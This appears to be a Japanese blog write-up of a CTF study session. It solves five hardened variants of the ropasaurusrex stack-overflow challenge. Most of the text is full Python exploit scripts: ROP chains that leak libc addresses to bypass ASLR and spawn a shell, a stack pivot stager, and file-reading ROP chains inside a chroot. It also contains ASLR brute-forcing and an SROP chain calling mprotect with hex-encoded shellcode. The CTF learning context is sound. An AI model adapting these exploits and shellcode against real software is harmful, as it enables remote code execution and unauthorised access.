チームkatagaitai主催の勉強会に参加した。
https://atnd.org/events/67035
bataさんのpwnablesの講義の題材がPlaid CTF 2013のropasaurusrexで、勉強会中に最も簡単な版の解き方が紹介されて、難しく改造したものを後で解いてみてくださいという感じだった。脆弱性はスタックバッファオーバーフローで、ASLRなどをどう回避するかという話。
参加する前の私「り りろんはしってる」
1問目を解いた私「『ここに○○のアドレスを書く』とかの誘導無しでは無理だな」
5問目を解いた私「1問目、system("/bin/sh")を呼ぶだけだし、libcも書き込み可能な領域もあるし、簡単すぎワロタ」
1問目
system("/bin/sh")
を呼び出す。問題のバイナリ中にはsystemのアドレスが無く、ASLRによってlibcのアドレスが分からない。
下記の処理を行うROPのコードを送り込む。
- GOTのwriteのアドレスを書き出す
- 書き込み可能な領域(*1)に読み込んだ文字列を書き出す
- 読み込んだアドレスをGOTのwriteに書き出す
- (*1)を引数としてwriteを呼び出す
ASLRによってlibcの位置が変わっても、writeとsystemの相対位置は一定なので、1.で出力したアドレスからsystemのアドレスを計算して、3.で書き込むと、4.でwriteを呼べば実際にはsystemが実行される。2.で/bin/sh
を書き込む。
import socket, struct, telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1025))
f = s.makefile("rw", bufsize=0)
def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]
plt_write = 0x0804830c
plt_read = 0x0804832c
pop3ret = 0x080484b6
got_write = 0x08049614
data = 0x08049620
buf = "A"*140 + "".join(map(p, [
# write(1, got_write, 4)
plt_write,
pop3ret,
1,
got_write,
4,
# read(0, data, 8)
plt_read,
pop3ret,
0,
data,
8,
# read(0, got_write, 4)
plt_read,
pop3ret,
0,
got_write,
4,
# write(sytem)(data)
plt_write,
0xdeadbeef,
data,
]))
f.write(buf)
ofs_system = 0x00040190
ofs_write = 0x000dac50
libc_write = u(f.read(4))
print "libc_write: %08x"%libc_write
libc_system = libc_write - ofs_write + ofs_system
print "libc_system: %08x"%libc_system
f.write("/bin/sh\0")
f.write(p(libc_system))
t = telnetlib.Telnet()
t.sock = s
t.interact()
2問目
return addressの後に書き込み可能なサイズが16バイトしかない。
Stagerというテクニックを使う。最初は、readするコードのみを送り込み、このreadによって追加のコードを送り込む。待避されたebpをespに設定したいアドレスで上書きしておいて、read後のreturnでleave; ret
に飛べば良いらしい。
import socket, struct, telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1026))
f = s.makefile("rw", bufsize=0)
def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]
leave_ret = 0x080482ea
plt_write = 0x0804830c
plt_read = 0x0804832c
pop3ret = 0x080484b6
got_write = 0x08049614
data = 0x08049620
buf2 = "".join(map(p, [
# write(1, got_write, 4)
plt_write,
pop3ret,
1,
got_write,
4,
# read(0, data, 8)
plt_read,
pop3ret,
0,
data,
8,
# read(0, got_write, 4)
plt_read,
pop3ret,
0,
got_write,
4,
# write(system)(data)
plt_write,
0xdeadbeef,
data,
]))
buf1 = "A"*136 + "".join(map(p, [
# data+0x100-4
data+0xfc,
# read(1, data+0x100, len(buf2))
plt_read,
leave_ret,
0,
data+0x100,
len(buf2),
]))
f.write(buf1)
f.write(buf2)
ofs_system = 0x00040190
ofs_write = 0x000dac50
libc_write = u(f.read(4))
print "libc_write: %08x"%libc_write
libc_system = libc_write - ofs_write + ofs_system
print "libc_system: %08x"%libc_system
f.write("/bin/sh\0")
f.write(p(libc_system))
t = telnetlib.Telnet()
t.sock = s
t.interact()
3問目
chrootで実行されていて、/bin/sh
が存在しない。
libc中のopenなどを使ってROPによってファイルを読み込む必要がある。またフラグが書かれたファイル名も分からないので、scandirでディレクトリ中のファイル一覧を読み込んだ。scandirは指定したアドレスには、ディレクトリエントリではなく、ディレクトリエントリが存在するアドレスを書き込むので困った。送り込むROPを3段階に分けて、2段階目ではscandirによって書き込まれたアドレスを出力し、3段階目でこのアドレスにあるディレクトリエントリを出力するようにした。本当はこのアドレスにるのはディレクトリエントリのアドレスの配列だけど、直後にファイル名も書き込まれていた。libcの関数だけで何とかするのではなく、mprotectを呼び出して、シェルコードを送り込めば良かったらしい。
import socket, struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1027))
f = s.makefile("rw", bufsize=0)
def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]
leave_ret = 0x080482ea
plt_write = 0x0804830c
plt_read = 0x0804832c
pop4ret = 0x080484b5
pop3ret = 0x080484b6
pop2ret = 0x080484b7
got_write = 0x08049614
data = 0x08049620
stack = data + 0x400
ofs_open = 0x000da740
ofs_write = 0x000dac50
ofs_scandir = 0x000b1300
def read_dir():
dir = "/"+"\0"
buf3 = "".join(map(p, [
# write(1, 0xffffffff, 0x100)
plt_write,
0xdeadbeef,
1,
0xffffffff,
0x100,
]))
buf2 = "".join(map(p, [
# write(1, got_write, 4)
plt_write,
pop3ret,
1,
got_write,
4,
# read(0, data, len(dir))
plt_read,
pop3ret,
0,
data,
len(dir),
# read(0, got_write, 4)
plt_read,
pop3ret,
0,
got_write,
4,
# write(scandir)(data, data, 0, 0)
plt_write,
pop4ret,
data,
data,
0,
0,
# read(0, got_write, 4)
plt_read,
pop3ret,
0,
got_write,
4,
# write(1, data, 4)
plt_write,
pop3ret,
1,
data,
4,
# read(0, 0xffffffff(stack+len(buf2)), len(buf3))
plt_read,
pop3ret,
0,
0xffffffff,
len(buf3),
]))
buf2 = buf2.replace("\xff\xff\xff\xff", p(stack+len(buf2)))
buf1 = "A"*136 + "".join(map(p, [
# stack-4
stack-4,
# read(0, stack, len(buf2))
plt_read,
leave_ret,
0,
stack,
len(buf2)
]))
f.write(buf1)
f.write(buf2)
libc_write = u(f.read(4))
print "libc_write: %08x"%libc_write
libc_scandir = libc_write - ofs_write + ofs_scandir
print "libc_scandir: %08x"%libc_scandir
f.write(dir)
f.write(p(libc_scandir))
f.write(p(libc_write))
dirent = u(f.read(4))
print "dirent: %08x"%dirent
f.write(buf3.replace("\xff\xff\xff\xff", p(dirent)))
print "dirent: "+repr(f.read(0x100))
def read_flag():
flag = "flag_???????????????????"+"\0"
buf2 = "".join(map(p, [
# write(1, got_write, 4)
plt_write,
pop3ret,
1,
got_write,
4,
# read(0, data, len(flag))
plt_read,
pop3ret,
0,
data,
len(flag),
# read(0 got_write, 4)
plt_read,
pop3ret,
0,
got_write,
4,
# write(open)(data, 0)
plt_write,
pop2ret,
data,
0,
# read(3, data, 0x100)
plt_read,
pop3ret,
3,
data,
0x100,
# read(0, got_write, 4)
plt_read,
pop3ret,
0,
got_write,
4,
# write(1, data, 0x100)
plt_write,
0xdeadbeef,
1,
data,
0x100,
]))
buf1 = "A"*136 + "".join(map(p, [
# stack-4
stack-4,
# read(0, stack, len(buf2))
plt_read,
leave_ret,
0,
stack,
len(buf2),
]))
f.write(buf1)
f.write(buf2)
libc_write = u(f.read(4))
print "libc_write: %08x"%libc_write
libc_open = libc_write - ofs_write + ofs_open
print "libc_open: %08x"%libc_open
f.write(flag)
f.write(p(libc_open))
f.write(p(libc_write))
print "flag: "+repr(f.read(0x100))
read_dir()
#read_flag()
4問目
writeが潰されていて、GOPの値などを出力することができない。
とはいえ、x86のASLRはたいしたことがないので、libcのアドレスを仮定して数百回試せば1回は当たる。3問目のコードをそのまま動かしても上手くいかなくて、何故かと思ったら、PLTのwriteのコードも潰されているのでGOPのwriteを呼び出したい関数のアドレスで上書きしてPLTのwriteに飛んでも実行できないからだった。writeの代わりに__libc_start_mainの場所を使った。
ブルートフォースの場合は結果が出るまでに時間がかかるので、ASLRを無効にして動くことを確認してから、ASLRを有効にして動かすと確実だった。ASLRが有効な場合、libcがASLRが無効な場合の位置にくることはないようなので注意。仮定するアドレスはASLRが有効な状態で取得する必要がある。
import socket, struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1028))
f = s.makefile("rw", bufsize=0)
def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]
leave_ret = 0x080482ea
plt_start = 0x0804831c
plt_read = 0x0804832c
pop4ret = 0x080484b5
pop3ret = 0x080484b6
pop2ret = 0x080484b7
got_start = 0x08049618
data = 0x08049620
stack = data + 0x400
ofs_open = 0x000da740
ofs_write = 0x000dac50
ofs_scandir = 0x000b1300
#libc_write = 0xf7eeec50
libc_write = 0xf763bc50
def read_dir():
dir = "/"+"\0"
buf3 = "".join(map(p, [
# start(write)(1, 0xffffffff, 0x100)
plt_start,
0xdeadbeef,
1,
0xffffffff,
0x100,
]))
buf2 = "".join(map(p, [
# read(0, data, len(dir))
plt_read,
pop3ret,
0,
data,
len(dir),
# read(0, got_start, 4)
plt_read,
pop3ret,
0,
got_start,
4,
# start(scandir)(data, data, 0, 0)
plt_start,
pop4ret,
data,
data,
0,
0,
# read(0, got_start, 4)
plt_read,
pop3ret,
0,
got_start,
4,
# start(write)(1, data, 4)
plt_start,
pop3ret,
1,
data,
4,
# read(0, 0xffffffff(stack+len(buf2)), len(buf3))
plt_read,
pop3ret,
0,
0xffffffff,
len(buf3),
]))
buf2 = buf2.replace("\xff\xff\xff\xff", p(stack+len(buf2)))
buf1 = "A"*136 + "".join(map(p, [
# stack-4
stack-4,
# read(0, stack, len(buf2))
plt_read,
leave_ret,
0,
stack,
len(buf2)
]))
f.write(buf1)
f.write(buf2)
print "libc_write: %08x"%libc_write
libc_scandir = libc_write - ofs_write + ofs_scandir
print "libc_scandir: %08x"%libc_scandir
f.write(dir)
f.write(p(libc_scandir))
f.write(p(libc_write))
dirp = u(f.read(4))
print "dirp: %08x"%dirp
f.write(buf3.replace("\xff\xff\xff\xff", p(dirp)))
print "dir: "+repr(f.read(0x100))
def read_flag():
flag = "flag_??????????????????"+"\0"
buf2 = "".join(map(p, [
# read(0, data, len(flag))
plt_read,
pop3ret,
0,
data,
len(flag),
# read(0 got_start, 4)
plt_read,
pop3ret,
0,
got_start,
4,
# start(open)(data, 0)
plt_start,
pop2ret,
data,
0,
# read(3, data, 0x100)
plt_read,
pop3ret,
3,
data,
0x100,
# read(0, got_start, 4)
plt_read,
pop3ret,
0,
got_start,
4,
# start(write)(1, data, 0x100)
plt_start,
0xdeadbeef,
1,
data,
0x100,
]))
buf1 = "A"*136 + "".join(map(p, [
# stack-4
stack-4,
# read(0, stack, len(buf2))
plt_read,
leave_ret,
0,
stack,
len(buf2),
]))
f.write(buf1)
f.write(buf2)
print "libc_write: %08x"%libc_write
libc_open = libc_write - ofs_write + ofs_open
print "libc_open: %08x"%libc_open
f.write(flag)
f.write(p(libc_open))
f.write(p(libc_write))
print "flag: "+repr(f.read(0x100))
#read_dir()
read_flag()
5問目
libcが無くなった。アドレス空間中には、実行不可能なスタックと、書き込み不可能なropasaurusrex5とvdsoしか無い。ropasaurusrex5中のコードもシステムコールのread, write, exitを呼び出すもののみ。
libcが無い場合は、ROPでint 80h
に飛んでシステムコールを実行すれば良いらしい。システムコール一覧。ただし、システムコールは関数呼び出しと違って引数をレジスタで渡すので、事前にpop eax; ret
などに飛んで、レジスタを設定する必要がある。この問題はコードが小さすぎて、これができない。vdsoにpop ebp; pop edx; pop ecx;
があって惜しかったけど、システムコールの第一引数のebxが設定できない。
この辺で他の人の解答を読んで、SROP (Sigreturn Oriented Programming)という方法を知った。
Sigreturnシステムコールは呼び出し時点のスタックで全レジスタを初期化してくれるらしい。sigreturnのシステムコール番号は119で、これはeaxに代入すれば良いので、write(1, ?, 119)
を実行すれば良い。SROPの解説を読むと、書き込み可能な固定位置の領域が必要と書かれている。これは、sigreturnでespの値も書き換えられてしまうため。ただし、このスタックが使われるのは、sigreturnによって最初のシステムコールを呼び出した直後なので、最初のシステムコールとしてmprotectを呼び出すのならば、書き込み不可能であってもreturn addressとして有効なアドレス書かれていれば良い。この問題ではデバッグ情報として、問題中の関数vulnのアドレスがメモリ中に存在するので、ここをespに設定した。
この時点で、スタックは位置が固定で実行可能になって、プログラムが最初から実行されているので、もう一度スタックバッファオーバーフローを起こしてスタック中のシェルコードを実行という基本的な攻撃をすれば良い。
import socket, struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("localhost", 10250))
s.connect(("katagaitai.orz.hm", 1029))
s = s.makefile("rw", bufsize=0)
def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)[0]
base = 0x08048000
int80 = 0x080480cf
write = 0x080480d2
stack = 0x08048468 # [stack] = vuln
buf = "A"*128
# write(1, base, 0x77)
# jmp int80
buf += p(write)
buf += p(int80)
buf += p(1) # gs
buf += p(base) # fs
buf += p(0x77) # es
# sigreturn frame
# https://github.com/eQu1NoX/srop-poc/blob/master/Frame.py
# mprotect(base, 0x1000, 7)
buf += p(0) # ds
buf += p(0) # edi
buf += p(0) # esi
buf += p(0) # ebp
buf += p(stack) # esp
buf += p(base) # ebx
buf += p(7) # edx
buf += p(0x1000) # ecx
buf += p(0x7d) # eax
buf += p(0) # ?
buf += p(0) # ?
buf += p(int80) # eip
buf += p(0x23) # cs
buf += p(0) # eflags
buf += p(0) # ?
buf += p(0x2b) # ss
buf += p(0) # floa
s.write(buf)
s.read(4)
s.read(0x77)
buf = ""
buf += "A"*128
buf += p(stack+8)
shell_list = (
"81ec00010000" # sub esp, 100
# open("/", 0, 0)
"33c0" # xor eax, eax
"b005" # mov al, 5
"eb2b" # jmp short +2b
"5b" # pop ebx
"33c9" # xor ecx, ecx
"33d2" # xor edx, edx
"cd80" # int 80
# getdents(ebp, esp, 0x100)
"8bd8" # mov ebx, eax
"33c0" # xor eax, eax
"b08d" # mov al, 8d
"8bcc" # mov ecx, esp
"33d2" # xor edx, edx
"fec6" # inc dh
"cd80" # int 80
# write(1, esp, 0x100)
"33c0" # xor eax, eax
"b004" # mov al, 4
"33db" # xor ebx, ebx
"43" # inc ebx
"8bcc" # mov ecx, esp
"33d2" # xor edx, edx
"fec6" # inc dh
"cd80" # int 80
# exit(0)
"33c0" # xor eax, eax
"40" # inc eax
"33db" # xor ebx, ebx
"cd80" # int 80
"e8d0ffffff" # call -30
).decode("hex")
shell_read = (
"81ec00010000" # sub esp, 100
# open(filename, 0, 0)
"33c0" # xor eax, eax
"b005" # mov al, 5
"eb29" # jmp short +29
"5b" # pop ebx
"33c9" # xor ecx, ecx
"33d2" # xor edx, edx
"cd80" # int 80
# read(eax, esp, 0x100)
"8bd8" # mov ebx, eax
"33c0" # xor eax, eax
"b003" # mov al, 3
"8bcc" # mov ecx, esp
"33d2" # xor edx, edx
"fec6" # inc dh
"cd80" # int 80
# write(1, esp, eax)
"8bd0" # mov edx, eax
"33c0" # xor eax, eax
"b004" # mov al, 4
"33db" # xor ebx, ebx
"43" # inc ebx
"8bcc" # mov ecx, esp
"cd80" # int 80
# exit(0)
"33c0" # xor eax, eax
"40" # inc eax
"33db" # xor ebx, ebx
"cd80" # int 80
"e8d2ffffff" # call -2e
).decode("hex")
buf += shell_list + "/"
#buf += shell_read + "flag_????????????????????????????????"
#buf += shell_read + "souteikai_???.txt"
s.write(buf + "\0")
s.read(4)
print repr(s.read(0x100))